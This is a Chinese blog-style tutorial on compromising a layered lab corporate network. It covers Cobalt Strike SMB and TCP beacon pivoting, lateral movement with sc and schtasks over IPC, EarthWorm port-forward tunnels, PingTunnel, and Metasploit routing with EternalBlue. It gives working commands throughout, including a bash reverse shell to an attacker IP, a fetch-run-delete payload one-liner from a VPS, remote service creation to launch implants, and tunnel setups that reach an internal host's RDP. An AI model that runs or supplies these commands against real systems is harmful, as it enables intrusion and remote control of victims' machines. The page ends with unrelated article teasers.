各种姿势打穿企业内网

以前不是说要讲隧道吗??? 鸽了这么久终于想起来了!!! 

1.本次实验环境拓扑 

先来讲一下本次的实验环境吧,这样会更加清晰明了一点

首先我们是拿到了win7,然后最终目标上线内网的Win10

2.CS自带SMBbeacon上线

什么是smbbeacon呢??我前面的博客讲过,这个beacon最大的一个特点,就是你在上线内网的机器之前,需要建立IPC连接,否则不行(如果别人关闭了IPC连接就只能换别的了)

首先去创建对应的监听器和木马(stageless)

    ::你好(6)

然后先去建立IPC连接

然后不管你什么方法也好,计划任务啊,服务啊,之类的都好,让这个木马运行起来

但是这个时候还是没有机器上线的,因为你还需要去link他一下

link owa.god.org

可以看见是以派生的会话上线的

至此,我们拿下了第一层。

这时候我们再去看看winserver2016的ip

  • server2016 192.168.52.130
  • server2008 192.168.52.138

然后我们继续上面的操作

????? 怎么个事 ???? 还建立不了。看一下防火墙?

牛魔,原来开了防火墙,那我们关一下  !!! 果然是他在捣乱

那么后面我们的操作就很熟悉了

shell copy smbbeacon上线多层内网.exe  \\192.168.52.130\c$
shell sc \\192.168.52.130 create test binpath= "cmd.exe /c c:\smbbeacon上线多层内网.exe"
shell sc \\192.168.52.130 start test
link 192.168.52.130

成功继续上线

终于,到了最后一台Win10了!!! 还是老样子,先看IP

  • Win10                192.168.111.132
  • Winserver2016  192.168.111.130

那么,开始吧!!!!     

这个过程还是说一下哈,如果人家电脑开了防火墙或者装了杀软(火绒)IPC都是建立不成功的

至此,已成艺术!!! 整个内网就穿了!!!! 

3.CS自带TCPbeacon上线

在开始之前,还是先把刚才的连接给清除掉

接着就是去生成对应的TCP监听器和对应的木马了!!(记住对应的端口噢)

 :::你好,我是TCP上线多层内网的木马

然后我们又一次回到了起点

那么,就开始渗透!!!      

那么还是老样子,先是去建立IPC连接吧!!

然后我们这一次来计划任务横向移动吧 !!!

shell copy tcp.exe \\192.168.52.138\c$
shell schtasks /create /s 192.168.52.138 /tn tcp  /sc onstart /tr c:\tcp.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "tcp"
connect owa.god.org 9191 ---->这个就是上面创建监听器的时候的端口

至此,一层沦陷!!!

然后就是去打二层了,有了上面渗透时候的IP,我们就不用再去看IP了

直接开始 肾透就完事了      

IPC ok!!! 

横向  ok!! ok个鸡

你猜猜为什么我笑不出来     

按常理来说,能建立IPC,能传文件,但是为什么不能运行计划任务呢????   

那么换个思路,我们用服务来试试!!! 

shell sc \\192.168.52.140 create test binpath= "cmd.exe /c c:\tcp.exe"
shell sc \\192.168.52.140 start test
connect 192.168.52.140 9191

欸嘿,这就能上线!!!!  就很奇怪,所以在现实生活中也是,如果这个不行,就换那个

至此,二层内网沦陷  !! 那么,我们在尝试用计划任务横向最后的内网!!! 

md,我真是艹了,能复制,能访问,tmd创建不了计划任务,那就换服务!!!

真是无语了,看来以后都还是用服务吧!!!!

看来服务还是比计划任务好(命令也短,也可以隐藏,也可以伪装)

4.EW实现内网穿透

上面已经讲解了用CS打穿企业的方法,但是,不知道大家发现没有,我们用的服务器都是Windows,然而现实生活中,别人根本不会用到Windows服务器(大部分不会),所以,我就来打算搭建一个Linux连通内网的网络拓扑!!!

  :接下来,就是更加真实的企业环境实战!!!!

1.新的企业拓扑

我们的目的就是从 Ubuntu入手,打到win10,接下来,就是好戏上场啦!!!!

2.拿下Ubuntu

我们先去扫一扫

看到有一个8080端口,先去访问一下

学过框架的都知道,这是thinkphp,可能存在框架漏洞(现实生活中也真的有可能会碰到这样的一个界面,我就碰到过!!!)

那么我们就上工具吧!!

那Linux咋远控???上线CS(可以下crossc2插件上线,不过很复杂,这里就不细说),那我们能不能弹他的shell出来!!

bash -i >& /dev/tcp/192.168.246.1/9191 0>&1 

然后我们在本地用NC去监听

然后直接弹shell!!!

但是大哥??? 我shell呢??

  

这样的情况下,只有两种可能

1.防火墙,IPS阻断了

2.这是一个docker环境,很多环境都没得

首先排除第一种可能(牛魔的我哪里来的IPS) 所以我们再去看看判断docker环境

cat /proc/1/cgroup
ls -al docker.env

无敌,还真是docker!!

那么我们就要docker逃逸咯!! 但是docker逃逸很本章的隧道技术无关,所以我就直接忽略这个过程了!!! 

  ::我是已经拿到逃了docker拿到root的shell的贵族

这里我就用msf远控啦

通过查看IP,我们可以看见有一个52的内网网段

于是我们可以开始做隧道,我们先传一个EW上去

然后我们开代理

chmod 777 ew
./ew -s ssocksd -l 9191 & //其中&是让他在后台运行,不妨碍我们执行其他命令

然后我们就可以通过fscan探测内网了

但是就无敌了,明明这个网段有,但是我们扫不到

nmap就更牛魔了,硬生生的给我多出来几百台主机 

算了还是传个fscan上去吧。。。。。(一般在真实红队中,都不会轻易地传文件)

果然,一传上去就正常了!!!!成功找到有永恒之蓝的两台机器

那么我们就去试试用永恒之蓝操作一下??(希望别翻车啊)

但是你以为会成功吗???

确实能扫描出来,但是你就会发现一直打不成功

这时候呢,一般有两种可能

  1. 人家是内网,你回连不了

但是我可以这么说,这是不正确的 !!!因为我把所有环境都部署在了本地的虚拟机,所以存在网络摇曳的状况!! 我试过将流量通过公网服务器转发  ,发现是能成功地

那咋办,我们咋搞??

没事还是先上线一波cs吧,毕竟我喜欢图像化的渗透界面

http://公网VPS/shell > /dev/shm/shell && chmod +x /dev/shm/shell && /dev/shm/shell && rm -f /dev/shm/shell

感觉怎么样,是不是有点像powershell的无文件落地的上线模式,其实这个严格意义上来说也不算无文件落地,他还是下载了文件的,只不过删掉了而已。

但是无论如何,我们还是成功上线了

当然了,CS是不支持上线Linux的,你要用CrossC2这个插件(这个我会讲)

但是问题又来了,我们以前都是Windows去横向的,怎么进行Linux横向呢???

   :::我看看CrossC2的插件先

可以看见是有FRP的,但是怎么说呢FRP这个工具确实是强大,但是很麻烦!!! 不够轻量级!!!! 说到轻量级还得是EarthWorm啊!!!

 3.隧道搭建

于是我们可以搭个隧道玩玩咯!!!!!!

先传上去

然后让他在后台运行!!! 再上一次fscan

然后你就会发现,当你fscan扫着扫着的时候,就会因为连接不稳定,直接终止了ew这个进程(我真是无语了!!!!)

算了还是直接搭建隧道吧。。。。。。

去Windows Server上开ew,先来看一下ew的一些参数

 -s state setup the function.You can pick one from the
 following options:
 ssocksd , rcsocks , rssocks ,
 lcx_listen , lcx_tran , lcx_slave
 -l listenport open a port for the service startup.
 -d refhost set the reflection host address.
 -e refport set the reflection port.
 -f connhost set the connect host address .
 -g connport set the connect port.
 -h help show the help text, By adding the -s parameter,
 you can also see the more detailed help.
 -a about show the about pages
 -v version show the version.
 -t usectime set the milliseconds for timeout. The default

然后我们就来开始吧,现在我们是已经拿下了Ubuntu了,那么假设我们想办法通过一些web服务横向到了Win7,然后我们想要做隧道

我们就需要在Ubuntu上执行

./ew -s lcx_listen -l 6666 -e 7777

什么意思呢?  意思就是通过ew 在本地监听一个6666端口, 然后将6666端口的流量转发的7777端口上!!!!!

然后,我们再去Win7上执行这么一个命令

ew.exe -s lcx_slave -d 192.168.52.141 -e 7777 -f 192.168.52.138 -g 8888

继续解释一下,这个命令,就是通过ew 远程连接我们Ubuntu的7777端口 并且将这个流量转发给Winserver的8888端口

然后假设,我们在Win7上,通过什么pth,ptt,ms14-068,非约束性委派拿到了域控Winserver的shell,然后我们去查看他的网卡

发现他还有一个22的网段,于是我们选择继续横向!!!!

于是,我们在Winserver上继续用ew

ew.exe -s lcx_listen -l 8888 -e 4444 

这样,我们就从8888端接口接受了来自Win7的流量,并且转发到本地的4444端口

接着,可能通过钓鱼什么的,或者域内直接上线,又拿下了Winserver的shell,然后发现他又是双网卡!!!  ------->还有一个111网段

于是,我们有了最后一步网络拓扑图

也就是直接上线Win10的3389了,那我们只需要在Winserver执行这样的一个命令

ew.exe -s lcx_slave -d 192.168.22.136 -e 4444 -f 192.168.111.132 -g 3389

这样,我们就通过EW将WinServer的4444端口的流量转发到了办公区win10的3389端口上!!!!!

然后,我们就可以直接访问Ubuntu本地的6666端口,就等于直接访问了Win10的3389端口了!!!! (不过有点慢,毕竟你可是跳了三张网卡!!)

看 3 4 5都是我用来实验的网卡,直接远程桌面到工作区的电脑

为了防止有人不信,我展示一下一路上的流量

当然了,CS的流量我在后台运行了,所以没显示!!!这样,就是整个环境的拓扑。

5.PingTunnel上线(Failed~~)

首先声明一下,这个实验的时候我是失败了的(搞得我托了好久!!)。但是,他的思路是没有问题的,这里还是分享一下思路!!!

首先就要去下载工具吧

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel  -type server 

然后去将这个工具分别传上去!!! 网络拓扑如下

然后我们就是去在VPS上运行这个命令

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server

然后去跳板机上面执行这样的命令

pingtunnel.exe -type client -l 127.0.0.1:4466 -s VPS -t VPS:9988 -tcp 1 -noprint 1 -nolog 1

当然了这个命令中的本地的端口和VPS上的端口都是随便写的(但是你别写一些周知端口)

但是就会很奇怪,能显示两边正在通信,但是隧道打不通。。。。。

PingTunnel上线CS

这个也是一个很好的思路,因为我icmp隧道打不成功,所以无法复现。。。。

先去CS上创建两个监听器,一个绑定127.0.0.1 一个绑定你的VPS

然后用127的那个监听器生成木马

然后在跳板机执行这样的命令

pingtunnel.exe -type client -l 127.0.0.1:61861 -s VPS -t VPS:61861 -tcp 1 -noprint 1 -nolog 1

相信这时候你也能发现了!!! 

这时候的流量就是  木马 ———> 127.0.0.161861 ——Pingtunnel——>VPS:61861(上线)

这个思路是可以的,网上也有人对应进行复现,但是我没有环境,就不复现了。。

          ——————————>           

                                               真不是我想水啊

6.MSF写路由

这个也是一个用msf打内网的方法。 先来看一下网络拓扑

那么我们首先毫无疑问的就是要先给Ubuntu上马啦!

这个怎么上马我就不教了,大家都会,然后我们就拿到了一个meterpreter!!!

然后就是信息收集,发现除了一个 246网段,还有一个52网段!!!

那么我们就开始写路由

run get_local_subnets
run autoroute -s 192.168.52.141/24
run autoroute -p

然后假设我们知道了另一台52网段的win7的ip是192.168.52.143,而且还存在永恒之蓝。

那么我们开始渗透

bg
use auxiliary/scanner/smb/smb_ms17_010 
set rhost 192.168.52.143
run

可以建议先用模块扫一遍,看一下有没有永恒之蓝

然后就用模块开打

use exploit/windows/smb/ms17_010_eternalblue 
set rhost 192.168.52.143
run

但是呢,我还是那句话,虚拟机网络摇曳,打不通啊(真无语了)

不过现实攻防中应该是可以的,你们可以去尝试一下。当你拿下对面的主机之后,只要再加一层路由就可以了!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/631836.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

回收站删除的照片怎么恢复?7个实用方法为你找回照片!

“我刚刚在对电脑上的照片进行清理,不小心错删了一张还需要的照片,但是在使用回收站时,将它删除了,有什么恢复回收站照片的简单方法吗?” 照片是我们生活点滴的见证,无论是外出旅游还是日常琐碎&#xff0c…

SpringBoot环境隔离Profiles

前言 通常我们开发不可能只有一个生产环境,还会有其它的开发,测试,预发布环境等等。为了更好的管理每个环境的配置项,springboot也提供了对应的环境隔离的方法。 直接上干货 知识点 激活环境方法 1,在application…

树莓派3B+入门(无外设)

昨日刚到一块树莓派3B,甚是喜爱,然半宿未眠 1、下载 在官网先下载烧录文件https://www.raspberrypi.com/software/ 下载完毕打开,选择,根据自己板子型号定 操作系统用最新的就行,64位不太稳定 储存卡,需…

代码随想录算法训练营第二十九天|39. 组合总和、40.组合总和II、131.分割回文串

39. 组合总和 文档讲解代码随想录 题目链接:. - 力扣(LeetCode) 这道题目的关键点: candidates :无重复元素的数组、candidates 中的数字可以无限制重复被选取。 与之前做过的组合问题的区别: 组合问题…

Leetcode2391. 收集垃圾的最少总时间

Every day a Leetcode 题目来源:2391. 收集垃圾的最少总时间 解法1:前缀和 收集垃圾的时间分为两部分: 垃圾车收拾垃圾的时间:垃圾车收拾一单位的任何一种垃圾都需要花费 1 分钟。三辆垃圾车行驶的时间:每辆垃圾车…

windows部署腾讯tmagic-editor03-DSL 解析渲染

创建项目 将上一教程中的editor-runtime和hello-editor复制过来 概念 实现 创建hello-ui目录 渲染节点 在hello-ui下创建 Component.vue 文件 由于节点的type是由业务自行定义的,所以需要使用动态组件渲染,在vue下可以使用component组件来实现 c…

软考笔记随记

原码:(0正1负) 原码是最直观的编码方式,符号位用0表示正数,用1表示负数,其余位表示数值的大小。 例如,+7的原码为00000111,-7的原码为10000111。 原码虽然直观,但直接用于加减运算会导致计算复杂,且0有两种表示(+0和-0),不唯一。 反码: 反码是在原码的基础上得…

绘唐2跟绘唐3有什么区别

绘唐2跟绘唐3有什么区别 这款产品的最大亮点在于其高度精准的语音克隆能力,利用先进的模型,能够捕捉到用户独特的音调、音高和调制方式,使用户能够以前所未有的方式复制和利用自己的声音。仅需10秒钟的录制时间,即可实现声音的克…

【C语言】自定义类型之---结构体超详解(结构体的定义使用、指针结构体,内存对齐,......代码详解)

目录 前言: 一:结构体 1.1:什么是结构体? 1.2:结构体类型的声明 1.3:结构体变量的定义 1.4:结构体的内存对齐 1.5:结构体传参 二:位段 2.1:位段是什…

docker镜像容器常用命令

常用基础命令1、docker info #查看docker版本等信息 2、docker search jenkins #搜索jenkins镜像 3、docker history nginx #查看镜像中各层内容及大小,每层对应的dockerfile中的一条指令。 4、docker network ls #显示当前主机上的所有网络 5、docker logs nginx …

2024MySQL8安装与绿色版Navicat连接【提供安装包】数据库

视频教程面向人群和使用方法: 1:大学生【解决老师作业或自己兴趣学习需要】; 2:第一次需要安装MySQL的开发者【需要简单使用,因为项目会用到】 3:老手二倍速,新手老老实实按照教程一倍速模仿视频操作&am…

【虚拟机】深入理解java虚拟机【内存溢出实例】

目录 一、问题解析 二、粉丝福利 一、问题解析 通过简单的小例子程序,演示java虚拟机各部分内存溢出情况: (1).java堆溢出: Java堆用于存储实例对象,只要不断创建对象,并且保证GC Roots到对象之间有引用的可达&am…

[数据集][目标检测]卡车抓斗卸车检测数据集VOC+YOLO格式213张2类别

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):213 标注数量(xml文件个数):213 标注数量(txt文件个数):213 标注类别…

ROS从入门到精通4-3:制作Docker镜像文件Dockerfile

目录 0 专栏介绍1 为什么需要Dockerfile?2 Dockerfile书写原则3 Dockerfile常用指令3.1 FROM3.2 MAINTAINER3.3 RUN3.4 ADD3.5 COPY3.6 CMD3.7 ENV3.8 EXPOSE3.9 WORKDIR3.10 ARG 4 Dockerfile构建ROS工程实例 0 专栏介绍 本专栏旨在通过对ROS的系统学习&#xff0…

数据结构与算法学习笔记一---顺序表的静态存储表示和实现(C++)

目录 前言 1.什么是顺序表 2.顺序表的静态存储表示 1.初始化 2.长度 3.数据元素 4.长度 5.获取元素下标 6.前驱节点 7.后继节点 8.插入 9.删除 10.遍历 11.测试代码 前言 这篇文章讲的是顺序表的两种实现方式。 1.什么是顺序表 线性表的顺序表示指的是用一组地址…

(论文笔记)TABDDPM:使用扩散模型对表格数据进行建模

了解diffusion model:什么是diffusion model? 它为什么好用? - 知乎 摘要 去噪扩散概率模型目前正成为许多重要数据模式生成建模的主要范式。扩散模型在计算机视觉社区中最为流行,最近也在其他领域引起了一些关注,包括语音、NLP…

LangChain搭建Agent | 使用initialize_agent

1.create_tool_calling_agent 构建agent,这个方法是过时了吗?官方文档也没更新,官方示例也运行错误 from langchain_core.prompts import ChatPromptTemplate from langchain_core.runnables import ConfigurableField from langchain_core…

医院污水一体化处理设备有哪些

医院污水一体化处理设备通常包括以下几个主要组件: 预处理单元:用于去除污水中的固体悬浮物、颗粒物、油脂等,常见的预处理单元包括格栅、沉砂池、油水分离器等。生物处理单元:用于降解有机物质和去除氮、磷等营养物质。常见的生物…

基坑监测识别摄像机

基坑是建筑施工中的一个重要环节,它对整个建筑工程的安全和稳定性起着至关重要的作用。为了监测基坑的状态和确保施工的安全进行,基坑监测识别摄像机被广泛应用于建筑工程中。这种摄像机可以实时监测基坑施工的情况,识别可能存在的问题并提供…

如何在Spring启动的时候执行一些操作

如何在Spring启动的时候执行一些操作 在Spring启动的时候执行一些操作有多种方式。你可以通过实现ApplicationRunner或者CommandLineRunner接口,在Spring Boot应用程序启动后执行特定操作。另外,你也可以使用PostConstruct注解,在Spring Bea…